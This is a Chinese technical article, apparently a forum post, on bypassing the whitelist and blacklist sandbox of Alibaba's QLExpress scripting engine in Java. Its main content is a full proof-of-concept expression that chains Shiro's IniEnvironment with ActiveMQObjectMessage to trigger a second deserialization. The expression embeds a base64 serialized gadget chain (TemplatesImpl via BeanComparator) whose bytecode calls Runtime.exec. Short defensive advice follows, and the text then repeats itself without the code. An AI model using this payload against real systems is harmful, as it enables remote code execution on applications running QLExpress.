java下的ql表达式白名单突破
字数 718 2025-08-24 07:48:34

QL表达式白名单突破技术分析

前言

QLExpress是阿里巴巴开源的一款动态脚本语言解析执行工具,它允许在Java环境中执行动态脚本。本文详细分析QLExpress的安全机制及其突破方法,特别是在白名单限制下的利用技术。

QLExpress基础语法

基本对象操作

import com.ql.util.express.test.OrderQuery;
query = new OrderQuery(); // 创建class实例
query.setCreateDate(new Date()); // 设置属性
query.buyer = "张三"; // 调用属性,自动转化为setBuyer("张三")
result = bizOrderDAO.query(query); // 调用bean对象的方法
System.out.println(result.getId()); // 调用静态方法

方法绑定

// 绑定Java类或对象的方法
runner.addFunctionOfClassMethod("取绝对值", Math.class.getName(), "abs", 
    new String[] {"double"}, null);
runner.addFunctionOfClassMethod("转换为大写", BeanExample.class.getName(), "upper", 
    new String[] {"String"}, null);
runner.addFunctionOfServiceMethod("打印", System.out, "println", 
    new String[] { "String" }, null);
runner.addFunctionOfServiceMethod("contains", new BeanExample(), "anyContains", 
    new Class[] {String.class, String.class}, null);

安全机制分析

黑名单机制

QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);

黑名单包含的危险方法:

  • System.exit
  • Runtime.exec
  • ProcessBuilder.start
  • Method.invoke
  • Class.forName
  • ClassLoader相关方法
  • JNDI相关方法
  • JShell相关方法

白名单机制

Set<String> secureMethods = new HashSet<>();
secureMethods.add("java.lang.Integer.valueOf");
QLExpressRunStrategy.setSecureMethods(secureMethods);

突破技术分析

利用场景

当环境中存在以下依赖时,可以利用特定类进行突破:

  • Apache Shiro
  • ActiveMQ

利用IniEnvironment类

IniEnvironment类可以解析INI格式的配置,通过构造方法触发恶意调用:

IniEnvironment iniEnvironment = new IniEnvironment(
    "user=org.example.User\n" + 
    "user.name=\"ljl\"\n" + 
    "user.age=18\n" + 
    "user.age.a=1");

利用ActiveMQObjectMessage类

ActiveMQObjectMessage类的getObject方法存在二次反序列化漏洞:

public Serializable getObject() throws JMSException {
    if (object == null && getContent() != null) {
        try {
            ByteSequence content = getContent();
            InputStream is = new ByteArrayInputStream(content);
            // ...省略部分代码...
            ClassLoadingAwareObjectInputStream objIn = 
                new ClassLoadingAwareObjectInputStream(dataIn);
            objIn.setTrustedPackages(trustedPackages);
            objIn.setTrustAllPackages(trustAllPackages);
            object = (Serializable)objIn.readObject();
            // ...省略部分代码...
        }
    }
    return this.object;
}

完整利用POC

String express = "new org.apache.activemq.shiro.env.IniEnvironment(\"[main]\\n\" +\n" +
    "\"activeMQObjectMessage=org.apache.activemq.command.ActiveMQObjectMessage\\n\" +\n" +
    "\"byteSequence=org.apache.activemq.util.ByteSequence\\n\" +\n" +
    "\"byteSequence.data=rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAAAk/K/rq+AAAAMQAlAQAQVDIxMTcxNzg2Njc2MDkwMAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAVVDIxMTcxNzg2Njc2MDkwMC5qYXZhAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAMAA0KAAsADgEAEGphdmEvbGFuZy9TdHJpbmcHABABAAY8aW5pdD4BAAUoW0IpVgwAEgATCgARABQBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAWABcKAAsAGAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABoBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQcAHAEAEHNlcmlhbFZlcnNpb25VSUQBAAFKBa0gk/OR3e8+AQANQ29uc3RhbnRWYWx1ZQwAEgAICgAbACMAIQACABsAAQAdAAEAGgAeAB8AAQAiAAAAAgAgAAIACAAHAAgAAQAJAAAAOwAIAAIAAAAvpwADAUy4AA+7ABFZB7wIWQMQY5FUWQQQYZFUWQUQbJFUWQYQY5FUtwAVtgAZV7EAAAAAAAEAEgAIAAEACQAAABEAAQABAAAABSq3ACSxAAAAAAABAAUAAAACAAZ1cQB+ABAAAAHpyv66vgAAADQAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACxMeXNvc2VyaWFsL2dhZGdldC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAKnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAJnlzb3NlcmlhbC9nYWRnZXQvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAA4QAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQACFpNTVhWU0JKcHcBAHhxAH4ADXg=\\n\" +\n" +
    "\"byteSequence.length=2257\\n\" +\n" +
    "\"activeMQObjectMessage.content=$byteSequence\\n\" +\n" +
    "\"activeMQObjectMessage.trustAllPackages=true\\n\" +\n" +
    "\"activeMQObjectMessage.object.a=1\")";

防御建议

  1. 严格限制QLExpress的执行环境
  2. 避免将用户输入直接传递给QLExpress执行
  3. 定期更新依赖库,修复已知漏洞
  4. 实施最小权限原则,限制QLExpress的访问权限
  5. 对输入进行严格的过滤和验证

总结

本文详细分析了QLExpress的安全机制及其突破方法,重点介绍了在白名单限制下利用ActiveMQObjectMessage类进行二次反序列化的技术。这种技术在特定环境下可以绕过安全限制,执行任意代码。开发人员应充分了解这些风险,并采取适当的安全措施来保护应用程序。

QL表达式白名单突破技术分析 前言 QLExpress是阿里巴巴开源的一款动态脚本语言解析执行工具,它允许在Java环境中执行动态脚本。本文详细分析QLExpress的安全机制及其突破方法,特别是在白名单限制下的利用技术。 QLExpress基础语法 基本对象操作 方法绑定 安全机制分析 黑名单机制 黑名单包含的危险方法: System.exit Runtime.exec ProcessBuilder.start Method.invoke Class.forName ClassLoader相关方法 JNDI相关方法 JShell相关方法 白名单机制 突破技术分析 利用场景 当环境中存在以下依赖时,可以利用特定类进行突破: Apache Shiro ActiveMQ 利用IniEnvironment类 IniEnvironment类可以解析INI格式的配置,通过构造方法触发恶意调用: 利用ActiveMQObjectMessage类 ActiveMQObjectMessage类的getObject方法存在二次反序列化漏洞: 完整利用POC 防御建议 严格限制QLExpress的执行环境 避免将用户输入直接传递给QLExpress执行 定期更新依赖库,修复已知漏洞 实施最小权限原则,限制QLExpress的访问权限 对输入进行严格的过滤和验证 总结 本文详细分析了QLExpress的安全机制及其突破方法,重点介绍了在白名单限制下利用ActiveMQObjectMessage类进行二次反序列化的技术。这种技术在特定环境下可以绕过安全限制,执行任意代码。开发人员应充分了解这些风险,并采取适当的安全措施来保护应用程序。